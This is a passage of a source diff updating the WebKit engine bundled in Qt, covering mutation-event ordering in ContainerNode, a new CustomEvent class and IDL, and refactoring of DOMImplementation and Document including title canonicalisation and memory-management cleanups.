@@ -255,8 +261,7 @@ bool ContainerNode::replaceChild(PassRefPtr<Node> newChild, Node* oldChild, Exce
         child->setNextSibling(next);
         allowEventDispatch();
 
-        // Dispatch the mutation events
-        dispatchChildInsertionEvents(child.get());
+        notifyChildInserted(child.get());
                 
         // Add child to the rendering tree
         if (attached() && !child->attached() && child->parent() == this) {
@@ -266,6 +271,10 @@ bool ContainerNode::replaceChild(PassRefPtr<Node> newChild, Node* oldChild, Exce
                 child->attach();
         }
 
+        // Now that the child is attached to the render tree, dispatch
+        // the relevant mutation events.
+        dispatchChildInsertionEvents(child.get());
+
         prev = child;
         child = nextChild.release();
     }
@@ -332,6 +341,13 @@ bool ContainerNode::removeChild(Node* oldChild, ExceptionCode& ec)
 
     document()->removeFocusedNodeOfSubtree(child.get());
     
+    // Events fired when blurring currently focused node might have moved this
+    // child into a different parent.
+    if (child->parentNode() != this) {
+        ec = NOT_FOUND_ERR;
+        return false;
+    }
+
     // FIXME: After sending the mutation events, "this" could be destroyed.
     // We can prevent that by doing a "ref", but first we have to make sure
     // that no callers call with ref count == 0 and parent = 0 (as of this
@@ -395,33 +411,43 @@ bool ContainerNode::removeChildren()
     document()->removeFocusedNodeOfSubtree(this, true);
 
     forbidEventDispatch();
-    int childCountDelta = 0;
+    Vector<RefPtr<Node> > removedChildren;
     while (RefPtr<Node> n = m_firstChild) {
-        childCountDelta--;
-
         Node* next = n->nextSibling();
         
-        // Remove the node from the tree before calling detach or removedFromDocument (4427024, 4129744)
+        // Remove the node from the tree before calling detach or removedFromDocument (4427024, 4129744).
+        // removeChild() does this after calling detach(). There is no explanation for
+        // this discrepancy between removeChild() and its optimized version removeChildren().
         n->setPreviousSibling(0);
         n->setNextSibling(0);
         n->setParent(0);
-        
+
         m_firstChild = next;
         if (n == m_lastChild)
             m_lastChild = 0;
 
         if (n->attached())
             n->detach();
-        
-        if (n->inDocument())
-            n->removedFromDocument();
+
+        removedChildren.append(n.release());
     }
     allowEventDispatch();
 
+    size_t removedChildrenCount = removedChildren.size();
+
     // Dispatch a single post-removal mutation event denoting a modified subtree.
-    childrenChanged(false, 0, 0, childCountDelta);
+    childrenChanged(false, 0, 0, -static_cast<int>(removedChildrenCount));
     dispatchSubtreeModifiedEvent();
 
+    for (size_t i = 0; i < removedChildrenCount; ++i) {
+        Node* removedChild = removedChildren[i].get();
+        if (removedChild->inDocument())
+            removedChild->removedFromDocument();
+        // removeChild() calls removedFromTree(true) if the child was not in the
+        // document. There is no explanation for this discrepancy between removeChild()
+        // and its optimized version removeChildren().
+    }
+
     return true;
 }
 
@@ -479,9 +505,9 @@ bool ContainerNode::appendChild(PassRefPtr<Node> newChild, ExceptionCode& ec, bo
         m_lastChild = child.get();
         allowEventDispatch();
 
-        // Dispatch the mutation events
+        // Send notification about the children change.
         childrenChanged(false, prev.get(), 0, 1);
-        dispatchChildInsertionEvents(child.get());
+        notifyChildInserted(child.get());
 
         // Add child to the rendering tree
         if (attached() && !child->attached() && child->parent() == this) {
@@ -490,6 +516,10 @@ bool ContainerNode::appendChild(PassRefPtr<Node> newChild, ExceptionCode& ec, bo
             else
                 child->attach();
         }
+
+        // Now that the child is attached to the render tree, dispatch
+        // the relevant mutation events.
+        dispatchChildInsertionEvents(child.get());
         
         child = nextChild.release();
     }
@@ -865,10 +895,17 @@ Node *ContainerNode::childNode(unsigned index) const
     return n;
 }
 
-static void dispatchChildInsertionEvents(Node* child)
+static void notifyChildInserted(Node* child)
 {
     ASSERT(!eventDispatchForbidden());
 
+#if ENABLE(INSPECTOR)
+    if (Page* page = child->document()->page()) {
+        if (InspectorController* inspectorController = page->inspectorController())
+            inspectorController->didInsertDOMNode(child);
+    }
+#endif
+
     RefPtr<Node> c = child;
     RefPtr<Document> document = child->document();
 
@@ -878,6 +915,14 @@ static void dispatchChildInsertionEvents(Node* child)
         c->insertedIntoTree(true);
 
     document->incDOMTreeVersion();
+}
+
+static void dispatchChildInsertionEvents(Node* child)
+{
+    ASSERT(!eventDispatchForbidden());
+
+    RefPtr<Node> c = child;
+    RefPtr<Document> document = child->document();
 
     if (c->parentNode() && document->hasListenerType(Document::DOMNODEINSERTED_LISTENER))
         c->dispatchEvent(MutationEvent::create(eventNames().DOMNodeInsertedEvent, true, c->parentNode()));
@@ -891,6 +936,13 @@ static void dispatchChildInsertionEvents(Node* child)
 
 static void dispatchChildRemovalEvents(Node* child)
 {
+#if ENABLE(INSPECTOR)    
+    if (Page* page = child->document()->page()) {
+        if (InspectorController* inspectorController = page->inspectorController())
+            inspectorController->didRemoveDOMNode(child);
+    }
+#endif
+
     RefPtr<Node> c = child;
     RefPtr<Document> document = child->document();
 
diff --git a/src/3rdparty/webkit/WebCore/dom/CustomEvent.cpp b/src/3rdparty/webkit/WebCore/dom/CustomEvent.cpp
new file mode 100644
index 0000000..c377063
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/CustomEvent.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "CustomEvent.h"
+
+#include "EventNames.h"
+
+namespace WebCore {
+
+CustomEvent::CustomEvent()
+{
+}
+
+void CustomEvent::initCustomEvent(const AtomicString& type, bool canBubble, bool cancelable, ScriptValue detail)
+{
+    if (dispatched())
+        return;
+
+    initEvent(type, canBubble, cancelable);
+
+    m_detail = detail;
+}
+
+bool CustomEvent::isCustomEvent() const
+{
+    return true;
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/CustomEvent.h b/src/3rdparty/webkit/WebCore/dom/CustomEvent.h
new file mode 100644
index 0000000..d910767
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/CustomEvent.h
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef CustomEvent_h
+#define CustomEvent_h
+
+#include "AtomicString.h"
+#include "Event.h"
+#include "ScriptValue.h"
+#include <wtf/RefCounted.h>
+
+namespace WebCore {
+
+class CustomEvent : public Event {
+public:
+    static PassRefPtr<CustomEvent> create()
+    {
+        return adoptRef(new CustomEvent);
+    }
+
+    void initCustomEvent(const AtomicString& type, bool canBubble, bool cancelable, ScriptValue detail);
+
+    virtual bool isCustomEvent() const;
+
+    ScriptValue detail() const { return m_detail; }
+
+private:
+    CustomEvent();
+
+    ScriptValue m_detail;
+};
+
+} // namespace WebCore
+
+#endif // CustomEvent_h
diff --git a/src/3rdparty/webkit/WebCore/dom/CustomEvent.idl b/src/3rdparty/webkit/WebCore/dom/CustomEvent.idl
new file mode 100644
index 0000000..1ab468c
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/CustomEvent.idl
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+module events {
+
+    // Introduced in DOM Level 3:
+    interface CustomEvent : Event {
+
+       readonly attribute DOMObject detail;
+
+       void initCustomEvent(in DOMString typeArg, 
+                            in boolean canBubbleArg, 
+                            in boolean cancelableArg, 
+                            in DOMObject detailArg);
+    };
+
+}
diff --git a/src/3rdparty/webkit/WebCore/dom/DOMCoreException.idl b/src/3rdparty/webkit/WebCore/dom/DOMCoreException.idl
index 3001995..9baea1b 100644
--- a/src/3rdparty/webkit/WebCore/dom/DOMCoreException.idl
+++ b/src/3rdparty/webkit/WebCore/dom/DOMCoreException.idl
@@ -28,9 +28,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor
-    ] DOMCoreException {
+    interface DOMCoreException {
 
         readonly attribute unsigned short   code;
         readonly attribute DOMString        name;
diff --git a/src/3rdparty/webkit/WebCore/dom/DOMImplementation.cpp b/src/3rdparty/webkit/WebCore/dom/DOMImplementation.cpp
index 59b9703..ec89a1b 100644
--- a/src/3rdparty/webkit/WebCore/dom/DOMImplementation.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/DOMImplementation.cpp
@@ -31,6 +31,7 @@
 #include "Element.h"
 #include "ExceptionCode.h"
 #include "Frame.h"
+#include "FrameLoaderClient.h"
 #include "FTPDirectoryDocument.h"
 #include "HTMLDocument.h"
 #include "HTMLNames.h"
@@ -272,16 +273,6 @@ PassRefPtr<CSSStyleSheet> DOMImplementation::createCSSStyleSheet(const String&,
     return sheet.release();
 }
 
-PassRefPtr<Document> DOMImplementation::createDocument(Frame* frame)
-{
-    return Document::create(frame);
-}
-
-PassRefPtr<HTMLDocument> DOMImplementation::createHTMLDocument(Frame* frame)
-{
-    return HTMLDocument::create(frame);
-}
-
 bool DOMImplementation::isXMLMIMEType(const String& mimeType)
 {
     if (mimeType == "text/xml" || mimeType == "application/xml" || mimeType == "text/xsl")
@@ -305,7 +296,8 @@ PassRefPtr<HTMLDocument> DOMImplementation::createHTMLDocument(const String& tit
 {
     RefPtr<HTMLDocument> d = HTMLDocument::create(0);
     d->open();
-    d->write("<!doctype html><html><head><title>" + title + "</title></head><body></body></html>");
+    d->write("<!doctype html><html><body></body></html>");
+    d->setTitle(title);
     return d.release();
 }
 
@@ -336,7 +328,7 @@ PassRefPtr<Document> DOMImplementation::createDocument(const String& type, Frame
 #endif
 
     PluginData* pluginData = 0;
-    if (frame && frame->page() && frame->page()->settings()->arePluginsEnabled())
+    if (frame && frame->page() && frame->loader()->allowPlugins(NotAboutToInstantiatePlugin))
         pluginData = frame->page()->pluginData();
 
     // PDF is one image type for which a plugin can override built-in support.
diff --git a/src/3rdparty/webkit/WebCore/dom/DOMImplementation.h b/src/3rdparty/webkit/WebCore/dom/DOMImplementation.h
index 9e6f9a9..b776d22 100644
--- a/src/3rdparty/webkit/WebCore/dom/DOMImplementation.h
+++ b/src/3rdparty/webkit/WebCore/dom/DOMImplementation.h
@@ -57,8 +57,6 @@ public:
 
     // Other methods (not part of DOM)
     static PassRefPtr<Document> createDocument(const String& MIMEType, Frame*, bool inViewSourceMode);
-    static PassRefPtr<Document> createDocument(Frame*);
-    static PassRefPtr<HTMLDocument> createHTMLDocument(Frame*);
 
     static bool isXMLMIMEType(const String& MIMEType);
     static bool isTextMIMEType(const String& MIMEType);
diff --git a/src/3rdparty/webkit/WebCore/dom/DOMImplementation.idl b/src/3rdparty/webkit/WebCore/dom/DOMImplementation.idl
index 6f4df80..81df6c8 100644
--- a/src/3rdparty/webkit/WebCore/dom/DOMImplementation.idl
+++ b/src/3rdparty/webkit/WebCore/dom/DOMImplementation.idl
@@ -20,11 +20,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=B0CC344F-963C-4acc-9FC6-EB22649345E5,
-        ImplementationUUID=9E835092-2CA3-426b-826B-8272A8105E49
-    ] DOMImplementation {
+    interface DOMImplementation {
 
         // DOM Level 1
 
@@ -44,7 +40,6 @@ module core {
 
         // DOMImplementationCSS interface from DOM Level 2 CSS
 
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         [OldStyleObjC] CSSStyleSheet createCSSStyleSheet(in DOMString title,
                                                          in DOMString media)
             raises(DOMException);
@@ -52,7 +47,6 @@ module core {
         // HTMLDOMImplementation interface from DOM Level 2 HTML
 
         HTMLDocument createHTMLDocument(in DOMString title);
-#endif
     };
 
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/Document.cpp b/src/3rdparty/webkit/WebCore/dom/Document.cpp
index 4eb44f7..aedba0d 100644
--- a/src/3rdparty/webkit/WebCore/dom/Document.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/Document.cpp
@@ -36,9 +36,12 @@
 #include "CSSValueKeywords.h"
 #include "CString.h"
 #include "CachedCSSStyleSheet.h"
+#include "Chrome.h"
+#include "ChromeClient.h"
 #include "Comment.h"
 #include "Console.h"
 #include "CookieJar.h"
+#include "CustomEvent.h"
 #include "DOMImplementation.h"
 #include "DOMWindow.h"
 #include "DocLoader.h"
@@ -67,6 +70,7 @@
 #include "HTMLElementFactory.h"
 #include "HTMLFrameOwnerElement.h"
 #include "HTMLHeadElement.h"
+#include "HTMLIFrameElement.h"
 #include "HTMLInputElement.h"
 #include "HTMLLinkElement.h"
 #include "HTMLMapElement.h"
@@ -98,6 +102,7 @@
 #include "PageGroup.h"
 #include "PageTransitionEvent.h"
 #include "PlatformKeyboardEvent.h"
+#include "PopStateEvent.h"
 #include "ProcessingInstruction.h"
 #include "ProgressEvent.h"
 #include "RegisteredEventListener.h"
@@ -112,6 +117,7 @@
 #include "SegmentedString.h"
 #include "SelectionController.h"
 #include "Settings.h"
+#include "StringBuffer.h"
 #include "StyleSheetList.h"
 #include "TextEvent.h"
 #include "TextIterator.h"
@@ -125,6 +131,7 @@
 #include "WebKitTransitionEvent.h"
 #include "WheelEvent.h"
 #include "XMLHttpRequest.h"
+#include "XMLNSNames.h"
 #include "XMLNames.h"
 #include "XMLTokenizer.h"
 #include "htmlediting.h"
@@ -134,11 +141,6 @@
 #include <wtf/PassRefPtr.h>
 #include <wtf/StdLibExtras.h>
 
-#if ENABLE(DATABASE)
-#include "Database.h"
-#include "DatabaseThread.h"
-#endif
-
 #if ENABLE(SHARED_WORKERS)
 #include "SharedWorkerRepository.h"
 #endif
@@ -170,6 +172,10 @@
 #include "SVGStyleElement.h"
 #endif
 
+#if ENABLE(TOUCH_EVENTS)
+#include "TouchEvent.h"
+#endif
+
 #if ENABLE(WML)
 #include "WMLDocument.h"
 #include "WMLElement.h"
@@ -314,15 +320,50 @@ static bool disableRangeMutation(Page* page)
 
 static HashSet<Document*>* documentsThatNeedStyleRecalc = 0;
 
-Document::Document(Frame* frame, bool isXHTML)
+class DocumentWeakReference : public ThreadSafeShared<DocumentWeakReference> {
+public:
+    static PassRefPtr<DocumentWeakReference> create(Document* document)
+    {
+        return adoptRef(new DocumentWeakReference(document));
+    }
+
+    Document* document()
+    {
+        ASSERT(isMainThread());
+        return m_document;
+    }
+
+    void clear()
+    {
+        ASSERT(isMainThread());
+        m_document = 0;
+    }
+
+private:
+    DocumentWeakReference(Document* document)
+        : m_document(document)
+    {
+        ASSERT(isMainThread());
+    }
+
+    Document* m_document;
+};
+
+Document::Document(Frame* frame, bool isXHTML, bool isHTML)
     : ContainerNode(0)
     , m_domtree_version(0)
     , m_styleSheets(StyleSheetList::create(this))
     , m_styleRecalcTimer(this, &Document::styleRecalcTimerFired)
     , m_frameElementsShouldIgnoreScrolling(false)
+    , m_containsValidityStyleRules(false)
+    , m_updateFocusAppearanceRestoresSelection(false)
     , m_title("")
+    , m_rawTitle("")
     , m_titleSetExplicitly(false)
     , m_updateFocusAppearanceTimer(this, &Document::updateFocusAppearanceTimerFired)
+    , m_startTime(currentTime())
+    , m_overMinimumLayoutThreshold(false)
+    , m_extraLayoutDelay(0)
     , m_executeScriptSoonTimer(this, &Document::executeScriptSoonTimerFired)
     , m_xmlVersion("1.0")
     , m_xmlStandalone(false)
@@ -330,7 +371,6 @@ Document::Document(Frame* frame, bool isXHTML)
     , m_bindingManager(new XBLBindingManager(this))
 #endif
     , m_savedRenderer(0)
-    , m_secureForms(0)
     , m_designMode(inherit)
     , m_selfOnlyRefCount(0)
 #if ENABLE(SVG)
@@ -345,14 +385,17 @@ Document::Document(Frame* frame, bool isXHTML)
     , m_inPageCache(false)
     , m_useSecureKeyboardEntryWhenActive(false)
     , m_isXHTML(isXHTML)
+    , m_isHTML(isHTML)
     , m_numNodeListCaches(0)
-#if ENABLE(DATABASE)
-    , m_hasOpenDatabases(false)
+#if USE(JSC)
+    , m_normalWorldWrapperCache(0)
 #endif
     , m_usingGeolocation(false)
+    , m_pendingEventTimer(this, &Document::pendingEventTimerFired)
 #if ENABLE(WML)
     , m_containsWMLContent(false)
 #endif
+    , m_weakReference(DocumentWeakReference::create(this))
 {
     m_document = this;
 
@@ -363,15 +406,13 @@ Document::Document(Frame* frame, bool isXHTML)
     m_ignoreAutofocus = false;
 
     m_frame = frame;
-    m_renderArena = 0;
 
     m_axObjectCache = 0;
     
     m_docLoader = new DocLoader(this);
 
-    visuallyOrdered = false;
+    m_visuallyOrdered = false;
     m_bParsing = false;
-    m_tokenizer = 0;
     m_wellFormed = false;
 
     setParseMode(Strict);
@@ -391,7 +432,6 @@ Document::Document(Frame* frame, bool isXHTML)
 
     m_gotoAnchorNeededAfterStylesheetsLoad = false;
  
-    m_styleSelector = 0;
     m_didCalculateStyleSelector = false;
     m_pendingStylesheets = 0;
     m_ignorePendingStylesheets = false;
@@ -405,8 +445,6 @@ Document::Document(Frame* frame, bool isXHTML)
     resetActiveLinkColor();
 
     m_processingLoadEvent = false;
-    m_startTime = currentTime();
-    m_overMinimumLayoutThreshold = false;
     
     initSecurityContext();
     initDNSPrefetch();
@@ -414,7 +452,7 @@ Document::Document(Frame* frame, bool isXHTML)
     static int docID = 0;
     m_docID = docID++;
 #if ENABLE(XHTMLMP)
-    m_shouldProcessNoScriptElement = settings() && !settings()->isJavaScriptEnabled();
+    m_shouldProcessNoScriptElement = m_frame->script()->canExecuteScripts(NotAboutToExecuteScript);
 #endif
 }
 
@@ -437,13 +475,15 @@ void Document::removedLastRef()
         m_titleElement = 0;
         m_documentElement = 0;
 
+        // removeAllChildren() doesn't always unregister IDs, do it upfront to avoid having stale references in the map.
+        m_elementsById.clear();
+
         removeAllChildren();
 
         deleteAllValues(m_markers);
         m_markers.clear();
 
-        delete m_tokenizer;
-        m_tokenizer = 0;
+        m_tokenizer.clear();
 
         m_cssCanvasElements.clear();
 
@@ -477,18 +517,14 @@ Document::~Document()
     forgetAllDOMNodesForDocument(this);
 #endif
 
-    delete m_tokenizer;
+    m_tokenizer.clear();
     m_document = 0;
-    delete m_styleSelector;
-    delete m_docLoader;
-    
-    if (m_renderArena) {
-        delete m_renderArena;
-        m_renderArena = 0;
-    }
+    m_docLoader.clear();
+
+    m_renderArena.clear();
 
 #if ENABLE(XBL)
-    delete m_bindingManager;
+    m_bindingManager.clear();
 #endif
 
     deleteAllValues(m_markers);
@@ -501,26 +537,25 @@ Document::~Document()
     for (unsigned i = 0; i < count; i++)
         deleteAllValues(m_nameCollectionInfo[i]);
 
-#if ENABLE(DATABASE)
-    if (m_databaseThread) {
-        ASSERT(m_databaseThread->terminationRequested());
-        m_databaseThread = 0;
-    }
-#endif
-
     if (m_styleSheets)
         m_styleSheets->documentDestroyed();
+
+    m_weakReference->clear();
 }
 
+#if USE(JSC)
 Document::JSWrapperCache* Document::createWrapperCache(DOMWrapperWorld* world)
 {
     JSWrapperCache* wrapperCache = new JSWrapperCache();
     m_wrapperCacheMap.set(world, wrapperCache);
-#if USE(JSC)
+    if (world->isNormal()) {
+        ASSERT(!m_normalWorldWrapperCache);
+        m_normalWorldWrapperCache = wrapperCache;
+    }
     world->rememberDocument(this);
-#endif
     return wrapperCache;
 }
+#endif
 
 void Document::resetLinkColor()
 {
@@ -765,6 +800,9 @@ PassRefPtr<Node> Document::adoptNode(PassRefPtr<Node> source, ExceptionCode& ec)
             break;
         }       
         default:
+            if (source->hasTagName(iframeTag))
+                static_cast<HTMLIFrameElement*>(source.get())->setRemainsAliveOnRemovalFromTree(attached());
+
             if (source->parentNode())
                 source->parentNode()->removeChild(source.get(), ec);
     }
@@ -777,21 +815,17 @@ PassRefPtr<Node> Document::adoptNode(PassRefPtr<Node> source, ExceptionCode& ec)
 
 bool Document::hasPrefixNamespaceMismatch(const QualifiedName& qName)
 {
-    DEFINE_STATIC_LOCAL(const AtomicString, xmlnsNamespaceURI, ("http://www.w3.org/2000/xmlns/"));
-    DEFINE_STATIC_LOCAL(const AtomicString, xmlns, ("xmlns"));
-    DEFINE_STATIC_LOCAL(const AtomicString, xml, ("xml"));
-
     // These checks are from DOM Core Level 2, createElementNS
     // http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-DocCrElNS
     if (!qName.prefix().isEmpty() && qName.namespaceURI().isNull()) // createElementNS(null, "html:div")
         return true;
-    if (qName.prefix() == xml && qName.namespaceURI() != XMLNames::xmlNamespaceURI) // createElementNS("http://www.example.com", "xml:lang")
+    if (qName.prefix() == xmlAtom && qName.namespaceURI() != XMLNames::xmlNamespaceURI) // createElementNS("http://www.example.com", "xml:lang")
         return true;
 
     // Required by DOM Level 3 Core and unspecified by DOM Level 2 Core:
     // http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-DocCrElNS
     // createElementNS("http://www.w3.org/2000/xmlns/", "foo:bar"), createElementNS(null, "xmlns:bar")
-    if ((qName.prefix() == xmlns && qName.namespaceURI() != xmlnsNamespaceURI) || (qName.prefix() != xmlns && qName.namespaceURI() == xmlnsNamespaceURI))
+    if ((qName.prefix() == xmlnsAtom && qName.namespaceURI() != XMLNSNames::xmlnsNamespaceURI) || (qName.prefix() != xmlnsAtom && qName.namespaceURI() == XMLNSNames::xmlnsNamespaceURI))
         return true;
 
     return false;
@@ -852,6 +886,8 @@ Element* Document::getElementById(const AtomicString& elementId) const
     if (elementId.isEmpty())
         return 0;
 
+    m_elementsById.checkConsistency();
+
     Element* element = m_elementsById.get(elementId.impl());
     if (element)
         return element;
@@ -861,7 +897,7 @@ Element* Document::getElementById(const AtomicString& elementId) const
         for (Node *n = traverseNextNode(); n != 0; n = n->traverseNextNode()) {
             if (n->isElementNode()) {
                 element = static_cast<Element*>(n);
-                if (element->hasID() && element->getAttribute(idAttr) == elementId) {
+                if (element->hasID() && element->getAttribute(element->idAttributeName()) == elementId) {
                     m_duplicateIds.remove(elementId.impl());
                     m_elementsById.set(elementId.impl(), element);
                     return element;
@@ -1043,6 +1079,8 @@ void Document::addElementById(const AtomicString& elementId, Element* element)
 
 void Document::removeElementById(const AtomicString& elementId, Element* element)
 {
+    m_elementsById.checkConsistency();
+
     if (m_elementsById.get(elementId.impl()) == element)
         m_elementsById.remove(elementId.impl());
     else
@@ -1067,8 +1105,67 @@ Element* Document::getElementByAccessKey(const String& key) const
     return m_elementsByAccessKey.get(key.impl());
 }
 
+/*
+ * Performs three operations:
+ *  1. Convert control characters to spaces
+ *  2. Trim leading and trailing spaces
+ *  3. Collapse internal whitespace.
+ */
+static inline String canonicalizedTitle(Document* document, const String& title)
+{
+    const UChar* characters = title.characters();
+    unsigned length = title.length();
+    unsigned i;
+
+    StringBuffer buffer(length);
+    unsigned builderIndex = 0;
+
+    // Skip leading spaces and leading characters that would convert to spaces
+    for (i = 0; i < length; ++i) {
+        UChar c = characters[i];
+        if (!(c <= 0x20 || c == 0x7F))
+            break;
+    }
+
+    if (i == length)
+        return "";
+
+    // Replace control characters with spaces, and backslashes with currency symbols, and collapse whitespace.
+    bool previousCharWasWS = false;
+    for (; i < length; ++i) {
+        UChar c = characters[i];
+        if (c <= 0x20 || c == 0x7F || (WTF::Unicode::category(c) & (WTF::Unicode::Separator_Line | WTF::Unicode::Separator_Paragraph))) {
+            if (previousCharWasWS)
+                continue;
+            buffer[builderIndex++] = ' ';
+            previousCharWasWS = true;
+        } else {
+            buffer[builderIndex++] = c;
+            previousCharWasWS = false;
+        }
+    }
+
+    // Strip trailing spaces
+    while (builderIndex > 0) {
+        --builderIndex;
+        if (buffer[builderIndex] != ' ')
+            break;
+    }
+
+    if (!builderIndex && buffer[builderIndex] == ' ')
+        return "";
+
+    buffer.shrink(builderIndex + 1);
+
+    // Replace the backslashes with currency symbols if the encoding requires it.
+    document->displayBufferModifiedByEncoding(buffer.characters(), buffer.length());
+    
+    return String::adopt(buffer);
+}
+
 void Document::updateTitle()
 {
+    m_title = canonicalizedTitle(this, m_rawTitle);
     if (Frame* f = frame())
         f->loader()->setTitle(m_title);
 }
@@ -1095,10 +1192,10 @@ void Document::setTitle(const String& title, Element* titleElement)
         m_titleElement = titleElement;
     }
 
-    if (m_title == title)
+    if (m_rawTitle == title)
         return;
 
-    m_title = title;
+    m_rawTitle = title;
     updateTitle();
 
     if (m_titleSetExplicitly && m_titleElement && m_titleElement->hasTagName(titleTag))
@@ -1123,8 +1220,8 @@ void Document::removeTitle(Element* titleElement)
             }
     }
 
-    if (!m_titleElement && !m_title.isEmpty()) {
-        m_title = "";
+    if (!m_titleElement && !m_rawTitle.isEmpty()) {
+        m_rawTitle = "";
         updateTitle();
     }
 }
@@ -1231,13 +1328,13 @@ void Document::recalcStyle(StyleChange change)
         return; // Guard against re-entrancy. -dwh
 
 #if ENABLE(INSPECTOR)
-    InspectorTimelineAgent* timelineAgent = inspectorTimelineAgent();
-    if (timelineAgent)
+    if (InspectorTimelineAgent* timelineAgent = inspectorTimelineAgent())
         timelineAgent->willRecalculateStyle();
 #endif
 
     m_inStyleRecalc = true;
     suspendPostAttachCallbacks();
+    RenderWidget::suspendWidgetHierarchyUpdates();
     if (view())
         view()->pauseScheduledEvents();
     
@@ -1249,32 +1346,7 @@ void Document::recalcStyle(StyleChange change)
         // style selector may set this again during recalc
         m_hasNodesWithPlaceholderStyle = false;
         
-        RefPtr<RenderStyle> documentStyle = RenderStyle::create();
-        documentStyle->setDisplay(BLOCK);
-        documentStyle->setVisuallyOrdered(visuallyOrdered);
-        documentStyle->setZoom(frame()->pageZoomFactor());
-        m_styleSelector->setStyle(documentStyle);
-    
-        FontDescription fontDescription;
-        fontDescription.setUsePrinterFont(printing());
-        if (Settings* settings = this->settings()) {
-            fontDescription.setRenderingMode(settings->fontRenderingMode());
-            if (printing() && !settings->shouldPrintBackgrounds())
-                documentStyle->setForceBackgroundsToWhite(true);
-            const AtomicString& stdfont = settings->standardFontFamily();
